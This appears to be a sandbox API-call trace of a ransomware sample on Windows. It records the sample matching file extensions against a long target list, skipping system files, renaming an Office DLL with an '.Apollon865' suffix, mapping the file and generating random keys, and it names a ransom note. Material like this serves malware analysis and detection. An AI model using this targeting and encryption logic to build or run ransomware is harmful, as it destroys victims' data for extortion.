	[0081.667] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0081.667] lstrlenW (lpString="fic") returned 3
	[0081.667] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0081.667] lstrlenW (lpString="flexolibrary") returned 12
	[0081.667] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0081.667] lstrlenW (lpString="fm5") returned 3
	[0081.667] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0081.667] lstrlenW (lpString="fmp") returned 3
	[0081.668] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0081.668] lstrlenW (lpString="fmp12") returned 5
	[0081.668] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0081.668] lstrlenW (lpString="fmpsl") returned 5
	[0081.668] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0081.668] lstrlenW (lpString="fol") returned 3
	[0081.668] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0081.668] lstrlenW (lpString="fp3") returned 3
	[0081.668] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0081.668] lstrlenW (lpString="fp4") returned 3
	[0081.668] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0081.668] lstrlenW (lpString="fp5") returned 3
	[0081.668] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0081.668] lstrlenW (lpString="fp7") returned 3
	[0081.668] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0081.668] lstrlenW (lpString="fpt") returned 3
	[0081.668] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0081.668] lstrlenW (lpString="frm") returned 3
	[0081.668] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0081.668] lstrlenW (lpString="gdb") returned 3
	[0081.668] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0081.668] lstrlenW (lpString="gdb") returned 3
	[0081.668] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0081.668] lstrlenW (lpString="grdb") returned 4
	[0081.668] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0081.668] lstrlenW (lpString="gwi") returned 3
	[0081.668] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0081.668] lstrlenW (lpString="hdb") returned 3
	[0081.668] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0081.668] lstrlenW (lpString="his") returned 3
	[0081.668] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0081.668] lstrlenW (lpString="ib") returned 2
	[0081.668] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0081.668] lstrlenW (lpString="idb") returned 3
	[0081.668] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0081.668] lstrlenW (lpString="ihx") returned 3
	[0081.668] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0081.669] lstrlenW (lpString="itdb") returned 4
	[0081.669] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0081.669] lstrlenW (lpString="itw") returned 3
	[0081.669] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0081.669] lstrlenW (lpString="jet") returned 3
	[0081.669] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0081.669] lstrlenW (lpString="jtx") returned 3
	[0081.669] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0081.669] lstrlenW (lpString="kdb") returned 3
	[0081.669] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0081.669] lstrlenW (lpString="kexi") returned 4
	[0081.669] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0081.669] lstrlenW (lpString="kexic") returned 5
	[0081.669] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0081.669] lstrlenW (lpString="kexis") returned 5
	[0081.669] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0081.669] lstrlenW (lpString="lgc") returned 3
	[0081.669] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0081.669] lstrlenW (lpString="lwx") returned 3
	[0081.669] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0081.669] lstrlenW (lpString="maf") returned 3
	[0081.669] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0081.669] lstrlenW (lpString="maq") returned 3
	[0081.669] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0081.669] lstrlenW (lpString="mar") returned 3
	[0081.669] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0081.669] lstrlenW (lpString="marshal") returned 7
	[0081.669] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0081.669] lstrlenW (lpString="mas") returned 3
	[0081.669] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0081.669] lstrlenW (lpString="mav") returned 3
	[0081.669] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0081.669] lstrlenW (lpString="maw") returned 3
	[0081.669] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0081.669] lstrlenW (lpString="mdbhtml") returned 7
	[0081.669] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0081.670] lstrlenW (lpString="mdn") returned 3
	[0081.670] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0081.670] lstrlenW (lpString="mdt") returned 3
	[0081.670] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0081.670] lstrlenW (lpString="mfd") returned 3
	[0081.670] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0081.670] lstrlenW (lpString="mpd") returned 3
	[0081.670] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0081.670] lstrlenW (lpString="mrg") returned 3
	[0081.670] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0081.670] lstrlenW (lpString="mud") returned 3
	[0081.670] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0081.670] lstrlenW (lpString="mwb") returned 3
	[0081.670] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0081.670] lstrlenW (lpString="myd") returned 3
	[0081.670] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0081.670] lstrlenW (lpString="ndf") returned 3
	[0081.670] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0081.670] lstrlenW (lpString="nnt") returned 3
	[0081.670] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0081.670] lstrlenW (lpString="nrmlib") returned 6
	[0081.670] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0081.670] lstrlenW (lpString="ns2") returned 3
	[0081.670] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0081.670] lstrlenW (lpString="ns3") returned 3
	[0081.670] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0081.670] lstrlenW (lpString="ns4") returned 3
	[0081.670] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0081.670] lstrlenW (lpString="nsf") returned 3
	[0081.670] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0081.670] lstrlenW (lpString="nv") returned 2
	[0081.670] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0081.670] lstrlenW (lpString="nv2") returned 3
	[0081.670] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0081.670] lstrlenW (lpString="nwdb") returned 4
	[0081.670] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0081.670] lstrlenW (lpString="nyf") returned 3
	[0081.670] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0081.671] lstrlenW (lpString="odb") returned 3
	[0081.671] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0081.671] lstrlenW (lpString="odb") returned 3
	[0081.671] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0081.671] lstrlenW (lpString="oqy") returned 3
	[0081.671] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0081.671] lstrlenW (lpString="ora") returned 3
	[0081.671] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0081.671] lstrlenW (lpString="orx") returned 3
	[0081.671] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0081.671] lstrlenW (lpString="owc") returned 3
	[0081.671] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0081.671] lstrlenW (lpString="p96") returned 3
	[0081.671] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0081.671] lstrlenW (lpString="p97") returned 3
	[0081.671] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0081.671] lstrlenW (lpString="pan") returned 3
	[0081.671] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0081.671] lstrlenW (lpString="pdb") returned 3
	[0081.671] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0081.671] lstrlenW (lpString="pdm") returned 3
	[0081.671] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0081.671] lstrlenW (lpString="pnz") returned 3
	[0081.671] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0081.671] lstrlenW (lpString="qry") returned 3
	[0081.671] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0081.671] lstrlenW (lpString="qvd") returned 3
	[0081.671] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0081.671] lstrlenW (lpString="rbf") returned 3
	[0081.671] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0081.671] lstrlenW (lpString="rctd") returned 4
	[0081.671] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0081.671] lstrlenW (lpString="rod") returned 3
	[0081.671] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0081.671] lstrlenW (lpString="rodx") returned 4
	[0081.671] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0081.671] lstrlenW (lpString="rpd") returned 3
	[0081.672] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0081.672] lstrlenW (lpString="rsd") returned 3
	[0081.672] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0081.672] lstrlenW (lpString="sas7bdat") returned 8
	[0081.672] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0081.672] lstrlenW (lpString="sbf") returned 3
	[0081.672] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0081.672] lstrlenW (lpString="scx") returned 3
	[0081.672] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0081.672] lstrlenW (lpString="sdb") returned 3
	[0081.672] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0081.672] lstrlenW (lpString="sdc") returned 3
	[0081.672] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0081.672] lstrlenW (lpString="sdf") returned 3
	[0081.672] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0081.672] lstrlenW (lpString="sis") returned 3
	[0081.672] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0081.672] lstrlenW (lpString="spq") returned 3
	[0081.672] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0081.672] lstrlenW (lpString="te") returned 2
	[0081.672] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0081.672] lstrlenW (lpString="teacher") returned 7
	[0081.672] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0081.672] lstrlenW (lpString="tmd") returned 3
	[0081.672] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0081.672] lstrlenW (lpString="tps") returned 3
	[0081.672] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0081.672] lstrlenW (lpString="trc") returned 3
	[0081.672] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0081.672] lstrlenW (lpString="trc") returned 3
	[0081.672] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0081.672] lstrlenW (lpString="trm") returned 3
	[0081.672] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0081.672] lstrlenW (lpString="udb") returned 3
	[0081.672] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0081.672] lstrlenW (lpString="udl") returned 3
	[0081.672] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0081.673] lstrlenW (lpString="usr") returned 3
	[0081.673] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0081.673] lstrlenW (lpString="v12") returned 3
	[0081.673] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0081.673] lstrlenW (lpString="vis") returned 3
	[0081.673] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0081.673] lstrlenW (lpString="vpd") returned 3
	[0081.673] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0081.673] lstrlenW (lpString="vvv") returned 3
	[0081.673] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0081.673] lstrlenW (lpString="wdb") returned 3
	[0081.673] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0081.673] lstrlenW (lpString="wmdb") returned 4
	[0081.673] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0081.673] lstrlenW (lpString="wrk") returned 3
	[0081.673] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0081.673] lstrlenW (lpString="xdb") returned 3
	[0081.673] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0081.673] lstrlenW (lpString="xld") returned 3
	[0081.673] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0081.673] lstrlenW (lpString="xmlff") returned 5
	[0081.673] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0081.673] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.DLL.trx_dll.Apollon865") returned 83
	[0081.673] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pub6intl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pub6intl.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0081.684] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pub6intl.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0081.684] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=107872) returned 1
	[0081.684] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0081.684] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0081.685] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0081.685] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0081.685] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0081.685] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0081.686] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a860, lpName=0x0) returned 0x15c
	[0081.687] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a860) returned 0x120000
	[0081.725] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0081.726] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0081.726] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0081.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0081.726] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0081.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0081.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0081.726] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0081.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0081.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0081.726] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0081.726] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0081.726] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0081.726] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0081.727] CloseHandle (hObject=0x15c) returned 1
	[0081.727] CloseHandle (hObject=0x9c) returned 1
	[0081.728] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0081.728] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0081.728] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0081.728] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x57655500, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x57655500, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x87f60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PUB6INTL.REST.trx_dll", cAlternateFileName="PUB6IN~2.TRX")) returned 1
	[0081.728] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0081.728] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0081.729] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2=".") returned 1
	[0081.729] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="..") returned 1
	[0081.729] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="windows") returned -1
	[0081.729] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="bootmgr") returned 1
	[0081.729] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="temp") returned -1
	[0081.729] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="pagefile.sys") returned 1
	[0081.729] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="boot") returned 1
	[0081.729] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="ids.txt") returned 1
	[0081.729] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="ntuser.dat") returned 1
	[0081.729] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="perflogs") returned 1
	[0081.729] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="MSBuild") returned 1
	[0081.729] lstrlenW (lpString="PUB6INTL.REST.trx_dll") returned 21
	[0081.729] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.DLL.trx_dll") returned 72
	[0081.729] lstrcpyW (in: lpString1=0x119e670, lpString2="PUB6INTL.REST.trx_dll" | out: lpString1="PUB6INTL.REST.trx_dll") returned="PUB6INTL.REST.trx_dll"
	[0081.729] lstrlenW (lpString="PUB6INTL.REST.trx_dll") returned 21
	[0081.729] lstrlenW (lpString="Apollon865") returned 10
	[0081.729] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0081.729] lstrlenW (lpString=".dll") returned 4
	[0081.729] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2=".dll") returned 1
	[0081.729] lstrlenW (lpString=".lnk") returned 4
	[0081.729] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2=".lnk") returned 1
	[0081.729] lstrlenW (lpString=".ini") returned 4
	[0081.730] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2=".ini") returned 1
	[0081.730] lstrlenW (lpString=".sys") returned 4
	[0081.730] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2=".sys") returned 1
	[0081.730] lstrlenW (lpString="PUB6INTL.REST.trx_dll") returned 21
	[0081.730] lstrlenW (lpString="bak") returned 3
	[0081.730] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0081.730] lstrlenW (lpString="ba_") returned 3
	[0081.730] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0081.730] lstrlenW (lpString="dbb") returned 3
	[0081.730] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0081.730] lstrlenW (lpString="vmdk") returned 4
	[0081.730] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0081.730] lstrlenW (lpString="rar") returned 3
	[0081.730] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0081.730] lstrlenW (lpString="zip") returned 3
	[0081.730] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0081.730] lstrlenW (lpString="tgz") returned 3
	[0081.730] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0081.730] lstrlenW (lpString="vbox") returned 4
	[0081.730] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0081.730] lstrlenW (lpString="vdi") returned 3
	[0081.730] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0081.730] lstrlenW (lpString="vhd") returned 3
	[0081.730] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0081.730] lstrlenW (lpString="vhdx") returned 4
	[0081.730] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0081.730] lstrlenW (lpString="avhd") returned 4
	[0081.730] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0081.730] lstrlenW (lpString="db") returned 2
	[0081.730] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0081.730] lstrlenW (lpString="db2") returned 3
	[0081.730] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0081.730] lstrlenW (lpString="db3") returned 3
	[0081.730] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0081.730] lstrlenW (lpString="dbf") returned 3
	[0081.730] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0081.730] lstrlenW (lpString="mdf") returned 3
	[0081.731] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0081.731] lstrlenW (lpString="mdb") returned 3
	[0081.731] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0081.731] lstrlenW (lpString="sql") returned 3
	[0081.731] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0081.731] lstrlenW (lpString="sqlite") returned 6
	[0081.731] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0081.731] lstrlenW (lpString="sqlite3") returned 7
	[0081.731] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0081.731] lstrlenW (lpString="sqlitedb") returned 8
	[0081.731] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0081.731] lstrlenW (lpString="xml") returned 3
	[0081.731] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0081.731] lstrlenW (lpString="$er") returned 3
	[0081.731] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0081.731] lstrlenW (lpString="4dd") returned 3
	[0081.731] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0081.731] lstrlenW (lpString="4dl") returned 3
	[0081.731] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0081.731] lstrlenW (lpString="^^^") returned 3
	[0081.731] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0081.731] lstrlenW (lpString="abs") returned 3
	[0081.731] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0081.731] lstrlenW (lpString="abx") returned 3
	[0081.731] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0081.731] lstrlenW (lpString="accdb") returned 5
	[0081.731] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0081.731] lstrlenW (lpString="accdc") returned 5
	[0081.731] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0081.731] lstrlenW (lpString="accde") returned 5
	[0081.731] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0081.731] lstrlenW (lpString="accdr") returned 5
	[0081.731] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0081.731] lstrlenW (lpString="accdt") returned 5
	[0081.731] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0081.731] lstrlenW (lpString="accdw") returned 5
	[0081.731] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0081.732] lstrlenW (lpString="accft") returned 5
	[0081.732] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0081.732] lstrlenW (lpString="adb") returned 3
	[0081.732] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0081.732] lstrlenW (lpString="adb") returned 3
	[0081.732] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0081.732] lstrlenW (lpString="ade") returned 3
	[0081.732] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0081.732] lstrlenW (lpString="adf") returned 3
	[0081.732] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0081.732] lstrlenW (lpString="adn") returned 3
	[0081.732] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0081.732] lstrlenW (lpString="adp") returned 3
	[0081.732] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0081.732] lstrlenW (lpString="alf") returned 3
	[0081.732] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0081.732] lstrlenW (lpString="ask") returned 3
	[0081.732] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0081.732] lstrlenW (lpString="btr") returned 3
	[0081.732] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0081.732] lstrlenW (lpString="cat") returned 3
	[0081.732] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0081.732] lstrlenW (lpString="cdb") returned 3
	[0081.732] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0081.732] lstrlenW (lpString="ckp") returned 3
	[0081.732] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0081.732] lstrlenW (lpString="cma") returned 3
	[0081.732] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0081.732] lstrlenW (lpString="cpd") returned 3
	[0081.732] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0081.732] lstrlenW (lpString="dacpac") returned 6
	[0081.732] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0081.732] lstrlenW (lpString="dad") returned 3
	[0081.732] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0081.732] lstrlenW (lpString="dadiagrams") returned 10
	[0081.732] lstrcmpiW (lpString1="ST.trx_dll", lpString2="dadiagrams") returned 1
	[0081.732] lstrlenW (lpString="daschema") returned 8
	[0081.732] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0081.733] lstrlenW (lpString="db-journal") returned 10
	[0081.733] lstrcmpiW (lpString1="ST.trx_dll", lpString2="db-journal") returned 1
	[0081.733] lstrlenW (lpString="db-shm") returned 6
	[0081.733] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0081.733] lstrlenW (lpString="db-wal") returned 6
	[0081.733] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0081.733] lstrlenW (lpString="dbc") returned 3
	[0081.733] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0081.733] lstrlenW (lpString="dbs") returned 3
	[0081.733] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0081.733] lstrlenW (lpString="dbt") returned 3
